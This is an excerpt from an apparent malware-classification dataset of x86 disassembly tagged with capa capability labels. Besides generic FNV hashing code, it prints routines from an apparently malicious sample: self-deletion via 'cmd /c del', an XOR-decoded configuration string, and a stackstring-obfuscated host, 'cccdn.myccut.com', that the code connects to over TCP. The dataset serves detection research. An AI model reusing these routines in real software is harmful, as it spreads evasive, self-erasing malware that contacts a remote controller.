joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10026620
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5c
mov eax, dword [0x10085050]
xor eax, esp
mov dword [esp + 0x58], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
cmp dword [eax + 0x14], 0x10
mov esi, eax
push edi
mov edi, dword [eax + 0x10]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ebx
jb 0x10026652
mov esi, dword [eax]
xor ecx, ecx
mov edx, 0x811c9dc5
test edi, edi
je 0x10026671
nop dword [eax]
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, edi
jb 0x10026660
cmp dword [ebx + 4], 0
mov dword [esp + 0x5c], edx
mov dword [esp + 0xc], 0
jle 0x100267c8
xor ecx, ecx
mov dword [esp + 0x10], ecx
nop dword [eax]
mov ebx, dword [ebx]
add ebx, ecx
mov ecx, dword [ebx + 0x28]
test ecx, ecx
je 0x100266b7
cmp dword [ecx + 4], 0
jle 0x100266b7
mov eax, dword [ebx + 0x2c]
add eax, dword [ebp + 0x10]
push eax
push ecx
push dword [esp + 0x1c]
mov ecx, 0x1008fc80
call fcn.10026620
mov edi, dword [ebx]
mov esi, 0x811c9dc5
xor eax, eax
inc eax
cmp byte [eax + edi], 0
jne 0x100266c0
xor edx, edx
test eax, eax
je 0x100266e1
nop dword [eax]
movsx ecx, byte [edx + edi]
inc edx
xor ecx, esi
imul esi, ecx, 0x1000193
cmp edx, eax
jb 0x100266d0
lea eax, [esp + 0x5c]
mov dword [esp + 0x60], esi
push eax
lea eax, [esp + 0x20]
mov ecx, 0x1008fca0
push eax
call fcn.1002dd40
mov ecx, dword [eax]
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x28]
add ecx, 0xc
push eax
call fcn.1002dab0
mov eax, dword [eax]
cmp dword [eax + 0x14], 0
jne 0x100267a7
lea eax, [esp + 0x5c]
mov ecx, 0x1008fca0
push eax
lea eax, [esp + 0x30]
push eax
call fcn.1002dd40
mov ecx, dword [eax]
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x38]
add ecx, 0xc
push eax
call fcn.1002dab0
mov ecx, 0x1008fca0
mov eax, dword [eax]
mov byte [eax + 0xc], 0
lea eax, [esp + 0x5c]
push eax
lea eax, [esp + 0x40]
push eax
call fcn.1002dd40
mov ecx, dword [eax]
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x48]
add ecx, 0xc
push eax
call fcn.1002dab0
mov ecx, 0x1008fca0
mov eax, dword [eax]
mov dword [eax + 0x10], ebx
lea eax, [esp + 0x5c]
mov esi, dword [ebx + 0x2c]
add esi, dword [ebp + 0x10]
push eax
lea eax, [esp + 0x50]
push eax
call fcn.1002dd40
mov ecx, dword [eax]
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x58]
add ecx, 0xc
push eax
call fcn.1002dab0
mov eax, dword [eax]
mov dword [eax + 0x14], esi
mov eax, dword [esp + 0xc]
mov ebx, dword [esp + 0x18]
inc eax
mov ecx, dword [esp + 0x10]
add ecx, 0x3c
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ecx
cmp eax, dword [ebx + 4]
jl 0x10026690
mov ecx, dword [esp + 0x64]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1003fca7
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10026ab0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10085050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x10026c25
mov eax, dword [eax + 2]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10026c25
push ebx
lea ebx, [eax - 4]
test ebx, ebx
je 0x10026c24
mov eax, dword [ebx + 4]
test eax, eax
je 0x10026c24
cmp eax, 0xc8
jg 0x10026c24
cmp dword [ebx], 0
je 0x10026c24
push esi
mov esi, dword [ebx + 8]
test esi, esi
je 0x10026c23
push edi
mov edi, 0x811c9dc5
xor ecx, ecx
inc ecx
cmp byte [ecx + esi], 0
jne 0x10026b18
xor edx, edx
test ecx, ecx
je 0x10026b36
movsx eax, byte [edx + esi]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x10026b25
mov dword [ebp - 8], edi
cmp dword [ebx + 4], 0
mov dword [ebp - 0x18], 0
jle 0x10026c22
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebx]
add ebx, eax
mov esi, dword [ebx + 4]
test esi, esi
je 0x10026c09
mov edi, 0x811c9dc5
xor eax, eax
inc eax
cmp byte [eax + esi], 0
jne 0x10026b68
xor edx, edx
test eax, eax
je 0x10026b86
movsx ecx, byte [edx + esi]
inc edx
xor ecx, edi
imul edi, ecx, 0x1000193
cmp edx, eax
jb 0x10026b75
lea eax, [ebp - 8]
mov dword [ebp - 0xc], edi
push eax
mov ecx, 0x1008fca0
call fcn.1002d350
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.1002d330
cmp dword [eax + 8], 0
jne 0x10026c03
lea eax, [ebp - 8]
mov ecx, 0x1008fca0
push eax
call fcn.1002d350
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.1002d330
mov ecx, 0x1008fca0
mov byte [eax], 1
lea eax, [ebp - 8]
mov esi, dword [ebx + 8]
push eax
call fcn.1002d350
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.1002d330
mov ecx, 0x1008fca0
mov dword [eax + 8], esi
lea eax, [ebp - 8]
push eax
call fcn.1002d350
lea ecx, [ebp - 0xc]
push ecx
mov ecx, eax
call fcn.1002d330
mov dword [eax + 4], 0
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
lea ebx, [ecx - 4]
inc esi
add eax, 0x3c
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], eax
cmp esi, dword [ebx + 4]
jl 0x10026b52
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003fca7
mov esp, ebp
pop ebp
ret 4
Function at 0x1002d5d0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
mov edx, ecx
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x14], edx
cmp ebx, eax
je 0x1002d741
mov eax, dword [edx + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 8], eax
movzx eax, byte [ebx + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [ebx + 9]
push esi
push edi
mov edi, dword [edx + 0xc]
mov esi, ebx
xor ecx, eax
mov dword [ebp - 0x1c], edi
movzx eax, byte [ebx + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebx + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [edx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [edi + eax*8]
mov dword [ebp - 4], ecx
lea eax, [edi + eax*8]
mov dword [ebp - 0xc], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
nop word [eax + eax]
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 0xc]
call fcn.1002e660
push 0x2c
push edi
call fcn.10040122
mov edx, dword [ebp - 0x14]
add esp, 8
dec dword [edx + 8]
cmp ebx, dword [ebp - 0x10]
je 0x1002d69d
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x1002d650
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jne 0x1002d737
mov edi, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov dword [edi], esi
mov dword [ecx], esi
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov edi, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jne 0x1002d6b1
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov dword [edi], eax
jmp 0x1002d6b4
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 0xc]
mov dword [edi + 4], ecx
cmp esi, eax
je 0x1002d737
nop
movzx eax, byte [esi + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [esi + 9]
xor ecx, eax
movzx eax, byte [esi + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [edx + 0x18]
and ecx, eax
mov eax, dword [ebp - 0x1c]
lea eax, [eax + ecx*8]
mov dword [ebp - 4], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 0xc]
call fcn.1002e660
push 0x2c
push edi
call fcn.10040122
mov edx, dword [ebp - 0x14]
add esp, 8
mov eax, dword [ebp + 0xc]
dec dword [edx + 8]
cmp ebx, dword [ebp - 0x10]
je 0x1002d748
cmp esi, eax
jne 0x1002d707
mov ecx, dword [ebp - 4]
mov dword [ecx], esi
mov ecx, dword [ebp - 8]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov ebx, dword [ebp - 0x18]
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
cmp esi, eax
jne 0x1002d6c0
mov ecx, dword [ebp - 8]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1002d770
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100697cd
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10085050]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov dword [ebp - 0x28], 0
mov eax, 0xf
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x28], dl
mov dword [ebp - 4], edx
mov edi, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x2c], ecx
cmp edi, ecx
je 0x1002d8a9
mov esi, dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
cmp ecx, edi
je 0x1002d7f5
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x1002d7e0
mov eax, dword [edi]
push dword [edi + 0x10]
lea ecx, [ebp - 0x28]
push eax
call fcn.10006e60
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
lea ecx, [edx - 3]
cmp ecx, edx
ja 0x1002d80f
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
mov dword [ebp - 0x18], ecx
cmovae eax, esi
mov byte [eax + ecx], 0
jmp 0x1002d84e
mov ebx, ecx
sub eax, edx
sub ebx, edx
cmp ebx, eax
ja 0x1002d83b
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push ebx
cmovae eax, esi
mov dword [ebp - 0x18], ecx
push 0
lea esi, [edx + eax]
push esi
call fcn.10041930
add esp, 0xc
mov byte [esi + ebx], 0
jmp 0x1002d84e
push 0
push ebx
mov byte [ebp - 0x34], 0
lea ecx, [ebp - 0x28]
push dword [ebp - 0x34]
push ebx
call fcn.1000c530
cmp dword [ebp - 0x14], 0x10
lea ebx, [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov esi, 0x811c9dc5
mov edx, dword [ebp - 0x18]
cmovae ebx, eax
xor ecx, ecx
test edx, edx
je 0x1002d884
nop dword [eax]
movzx eax, byte [ecx + ebx]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, edx
jb 0x1002d870
mov eax, dword [ebp - 0x28]
cmp esi, dword [ebp + 8]
jne 0x1002d894
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1002d8a4
dec ebx
mov dword [ebp - 0x30], ebx
add edi, 0x1c
cmp edi, dword [ebp - 0x2c]
je 0x1002d8ac
mov eax, dword [ebp - 0x14]
jmp 0x1002d7cc
mov esi, dword [edi + 0x18]
jmp 0x1002d8ae
mov eax, dword [ebp - 0x28]
xor esi, esi
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x1002d8e1
inc ecx
mov edx, eax
cmp ecx, 0x1000
jb 0x1002d8d7
mov eax, dword [eax - 4]
add ecx, 0x23
sub edx, eax
mov dword [ebp - 0x2c], eax
lea eax, [edx - 4]
cmp eax, 0x1f
ja 0x1002d901
mov eax, dword [ebp - 0x2c]
push ecx
push eax
call fcn.10040122
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003fca7
mov esp, ebp
pop ebp
ret 0xc
call fcn.100441ff
int3
Function at 0x1002d910
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100697cd
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10085050]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov dword [ebp - 0x28], 0
mov eax, 0xf
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x28], dl
mov dword [ebp - 4], edx
mov edi, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x2c], ecx
cmp edi, ecx
je 0x1002da49
mov esi, dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
cmp ecx, edi
je 0x1002d995
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x1002d980
mov eax, dword [edi]
push dword [edi + 0x10]
lea ecx, [ebp - 0x28]
push eax
call fcn.10006e60
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
lea ecx, [edx - 3]
cmp ecx, edx
ja 0x1002d9af
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
mov dword [ebp - 0x18], ecx
cmovae eax, esi
mov byte [eax + ecx], 0
jmp 0x1002d9ee
mov ebx, ecx
sub eax, edx
sub ebx, edx
cmp ebx, eax
ja 0x1002d9db
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push ebx
cmovae eax, esi
mov dword [ebp - 0x18], ecx
push 0
lea esi, [edx + eax]
push esi
call fcn.10041930
add esp, 0xc
mov byte [esi + ebx], 0
jmp 0x1002d9ee
push 0
push ebx
mov byte [ebp - 0x34], 0
lea ecx, [ebp - 0x28]
push dword [ebp - 0x34]
push ebx
call fcn.1000c530
cmp dword [ebp - 0x14], 0x10
lea ebx, [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov esi, 0x811c9dc5
mov edx, dword [ebp - 0x18]
cmovae ebx, eax
xor ecx, ecx
test edx, edx
je 0x1002da24
nop dword [eax]
movzx eax, byte [ecx + ebx]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, edx
jb 0x1002da10
mov eax, dword [ebp - 0x28]
cmp esi, dword [ebp + 8]
jne 0x1002da34
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1002da44
dec ebx
mov dword [ebp - 0x30], ebx
add edi, 0x1c
cmp edi, dword [ebp - 0x2c]
je 0x1002da4c
mov eax, dword [ebp - 0x14]
jmp 0x1002d96c
mov esi, dword [edi + 0x18]
jmp 0x1002da4e
mov eax, dword [ebp - 0x28]
xor esi, esi
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x1002da81
inc ecx
mov edx, eax
cmp ecx, 0x1000
jb 0x1002da77
mov eax, dword [eax - 4]
add ecx, 0x23
sub edx, eax
mov dword [ebp - 0x2c], eax
lea eax, [edx - 4]
cmp eax, 0x1f
ja 0x1002daa1
mov eax, dword [ebp - 0x2c]
push ecx
push eax
call fcn.10040122
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003fca7
mov esp, ebp
pop ebp
ret 0xc
call fcn.100441ff
int3
Function at 0x1002e470
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
mov eax, 0x1fffffff
bsr ecx, eax
push esi
push edi
mov edi, 1
mov dword [ebp - 0x10], ebx
mov eax, edi
shl eax, cl
mov ecx, dword [ebp + 8]
cmp ecx, eax
ja 0x1002e5d3
lea eax, [ecx - 1]
mov esi, dword [ebx + 4]
or eax, edi
mov dword [ebp - 0xc], esi
bsr ecx, eax
push esi
lea ecx, [ecx + 1]
shl edi, cl
lea ecx, [ebx + 0xc]
lea eax, [edi + edi]
push eax
call fcn.1000e8f0
lea eax, [edi - 1]
mov dword [ebx + 0x1c], edi
mov dword [ebx + 0x18], eax
mov ecx, dword [ebx + 4]
mov ecx, dword [ecx]
mov edx, ecx
cmp ecx, esi
je 0x1002e5a6
movzx eax, byte [ecx + 8]
xor eax, 0x811c9dc5
mov edx, dword [edx]
imul edi, eax, 0x1000193
movzx eax, byte [ecx + 9]
xor edi, eax
movzx eax, byte [ecx + 0xa]
imul edi, edi, 0x1000193
xor edi, eax
movzx eax, byte [ecx + 0xb]
imul edi, edi, 0x1000193
xor edi, eax
imul eax, edi, 0x1000193
mov edi, dword [ebx + 0x18]
and edi, eax
mov eax, dword [ebx + 0xc]
mov ebx, dword [eax + edi*8]
mov dword [ebp - 4], ebx
lea eax, [eax + edi*8]
mov dword [ebp - 8], eax
cmp ebx, esi
jne 0x1002e526
mov dword [eax], ecx
mov dword [eax + 4], ecx
jmp 0x1002e599
mov eax, dword [eax + 4]
mov ebx, dword [ecx + 8]
cmp ebx, dword [eax + 8]
jne 0x1002e560
mov eax, dword [eax]
mov dword [ebp - 4], eax
cmp eax, ecx
je 0x1002e558
mov ebx, dword [ecx + 4]
mov esi, dword [ebp - 4]
mov dword [ebx], edx
mov edi, dword [edx + 4]
mov dword [edi], eax
mov eax, dword [eax + 4]
mov dword [eax], ecx
mov dword [esi + 4], edi
mov esi, dword [ebp - 0xc]
mov dword [edx + 4], ebx
mov dword [ecx + 4], eax
mov eax, dword [ebp - 8]
mov dword [eax + 4], ecx
jmp 0x1002e599
mov edi, eax
cmp dword [ebp - 4], eax
je 0x1002e576
mov eax, dword [eax + 4]
mov edi, eax
cmp ebx, dword [eax + 8]
je 0x1002e5af
cmp dword [ebp - 4], eax
jne 0x1002e567
mov eax, dword [ecx + 4]
mov dword [ebp - 4], eax
mov dword [eax], edx
mov ebx, dword [edx + 4]
mov dword [ebx], edi
mov eax, dword [edi + 4]
mov dword [eax], ecx
mov dword [edi + 4], ebx
mov edi, dword [ebp - 4]
mov dword [edx + 4], edi
mov dword [ecx + 4], eax
mov eax, dword [ebp - 8]
mov dword [eax], ecx
mov ebx, dword [ebp - 0x10]
mov ecx, edx
cmp edx, esi
jne 0x1002e4d2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [ecx + 4]
mov eax, dword [eax]
mov dword [ebp - 8], eax
mov esi, eax
mov dword [ebx], edx
mov edi, dword [edx + 4]
mov dword [edi], eax
mov eax, dword [eax + 4]
mov dword [eax], ecx
mov dword [esi + 4], edi
mov esi, dword [ebp - 0xc]
mov dword [edx + 4], ebx
mov dword [ecx + 4], eax
jmp 0x1002e599
push str.invalid_hash_bucket_count
call fcn.1003ed32
int3
Function at 0x1005657e
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10056500

Function at 0x1005990a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10059780

Function at 0x1005e4d5
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1005e152
Function at 0x40101f
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x401043
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40103c
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x4018bb
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x401907
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40190c
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x40190e
mov eax, esi
pop esi
leave
ret

Function at 0x402405
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.004022d1
pop ecx
xor edx, edx
test eax, eax
pop ecx
jle 0x402438
mov ecx, dword [ebp - 4]
add byte [ecx + edx], 0x85
add ecx, edx
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0xc8
add ecx, edx
inc edx
cmp edx, eax
jl 0x402421
mov eax, dword [ebp - 4]
leave
ret
Function at 0x402996
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x13f]
mov byte [ebp - 0x140], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x347]
mov byte [ebp - 0x348], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x243]
mov byte [ebp - 0x244], bl
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x140]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x140]
push esi
push eax
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [ebp - 0x348]
push esi
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x244]
push str._c_del
push eax
call esi
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x244]
push eax
call esi
lea eax, [ebp - 0x244]
push str.___nul
push eax
call esi
lea eax, [ebp - 0x348]
push 0x40
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x244]
mov dword [ebp - 0x28], eax
pop esi
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3c
push eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], str.Open
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x38], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x402ad1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push dword [ebp - 4]
call esi
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x140]
push ebx
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 1
pop eax
jmp 0x402ad3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402ad8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
and byte [ebp - 0x90], 0
push esi
push edi
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0x8f]
push str.LB8mJmEfJS1rYTciM21ra2trQw
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00402405
push eax
lea eax, [ebp - 0x90]
push eax
call sub.MSVCRT.dll_strcpy
mov edi, 0x40722c
lea eax, [ebp - 0x90]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0x14
mov esi, 0x4060dc
test eax, eax
je 0x402b7e
push ebx
push 0x80
push 0
push esi
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.MSVCRT.dll_strcspn]
lea eax, [ebp - 0x90]
push edi
push eax
call ebx
push eax
lea eax, [ebp - 0x90]
push eax
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
lea eax, [ebp - 0x90]
push edi
push eax
call ebx
lea eax, [ebp + eax - 0x8f]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x2c
mov dword [0x40615c], eax
pop ebx
mov ax, word [0x40615c]
mov word [ebp - 0x10], 2
push eax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0xe], ax
call fcn.0040101f
pop ecx
mov dword [ebp - 0xc], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402bcb
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x402bcd
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x402c24
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push 0x208
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
and byte [ebp - 0x14], 0
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x24]
mov byte [ebp - 0x24], 0x63
push eax
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x63
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x6e
mov byte [ebp - 0x1f], 0x2e
mov byte [ebp - 0x1e], 0x6d
mov byte [ebp - 0x1d], 0x79
mov byte [ebp - 0x1c], 0x63
mov byte [ebp - 0x1b], 0x63
mov byte [ebp - 0x1a], 0x75
mov byte [ebp - 0x19], 0x74
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x6d
call fcn.0040101f
pop ecx
mov dword [ebp - 0xc], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402cbd
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x402cbf
mov eax, esi
pop esi
leave
ret